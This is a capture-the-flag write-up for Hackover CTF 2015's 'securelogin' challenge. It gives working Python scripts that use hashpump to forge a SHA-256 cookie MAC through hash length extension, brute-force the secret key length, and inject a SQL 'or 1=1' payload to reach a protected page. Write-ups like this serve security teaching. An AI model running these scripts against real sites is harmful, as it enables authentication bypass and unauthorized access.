This writeup describes the solution for the securelogin challenge in Hackover CTF 2015 held by Chaos Computer Club Hamburg.
We have to get the flag from the website, so lets check it out:
Just a simple website. We can login with any data. But when visiting the “secret” tab, this is the result:
No access – no flag :-(. Lets check the cookies.
There is a “data” cookie. It looks like base64 so we’re going to decode it and look at its content:
ruport@zentaur:~$ echo "dXNlcm5hbWU9cnVwMHJ0LWEyZjFmY2U4ZmM5NjAxMDIwYzRhYjA5MzJjYmM1MmJkZjU3YTQzYmE4MzAyNmI4NmZmNjU2YzQzNmZkOWQ4NTk=" | base64 -d username=rup0rt-a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859
The cookie data contains my username and a sha256 hash (which is not the hashed username :D). It must be some message authentication code (MAC). When knowing and controlling a plaintext and looking for a valid MAC, you will always have to think on hash length extension attacks.
There is a nice tool called hashpump, that does this job for us. When doing hash length extension attacks we need to know the length of the data the server prepends to calculate the MAC. So get the correct length, I wrote a python script that iterates the key length using hashpump and check for proper login.
#!/usr/bin/env python import requests from base64 import * import sys import os username = "rup0rt" hash= "a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859" append = "a" keylen = 1 while True: print "KEYLEN: ", keylen hashpump = os.popen("/home/creeq/HashPump/hashpump -s %s -d %s -a %s -k %i" % (hash, username, append, keylen)).readlines() newhash = hashpump[0].rstrip().decode("string_escape") newuser = hashpump[1].rstrip().decode("string_escape") secret = b64encode("username=" + newuser + "-" + newhash) url = "http://securelogin.hackover.h4q.it" cookies = dict(data=secret) r = requests.get(url, cookies=cookies) res = r.text if 'placeholder="Password"' in res: print "NOT LOGGED IN" elif 'href="/logout/' in res: print "LOGGED IN" raw_input() keylen += 1
When running the script it results:
ruport@zentaur:~/hackover2015$ ./keylen.py KEYLEN: 1 NOT LOGGED IN [...] KEYLEN: 41 LOGGED IN
So the servers key length is 41 bytes. The hash length extension attack was successful! Next step is to think about what to inject. Let’s try to append some SQL commands ( OR 1=1 ) in case the first user is the administrator and allowed to read the secret data. This is the python script that does this job:
#!/usr/bin/env python import requests from base64 import * import sys import os username = "rup0rt" hash= "a2f1fce8fc9601020c4ab0932cbc52bdf57a43ba83026b86ff656c436fd9d859c" append = '" or "1"="1' keylen = 41 hashpump = os.popen("/home/creeq/HashPump/hashpump -s %s -d %s -a '%s' -k %i" % (hash, username, append, keylen)).readlines() newhash = hashpump[0].rstrip().decode("string_escape") newuser = hashpump[1].rstrip().decode("string_escape") secret = b64encode("username=" + newuser + "-" + newhash) url = 'http://securelogin.hackover.h4q.it/secret/' cookies = dict(data=secret) r = requests.get(url, cookies=cookies) res = r.text print res
When executing we get the following output:
ruport@zentaur:~/hackover2015$ ./inject.py
[...]
<h1>Hello rup0rtX" or "1"="1!</h1>
<div class="alert alert-success" role="alert">
hackover15{hmac_would_have_been_a_better_idea}
</div>
[...]
The solution is “hackover15{hmac_would_have_been_a_better_idea}“.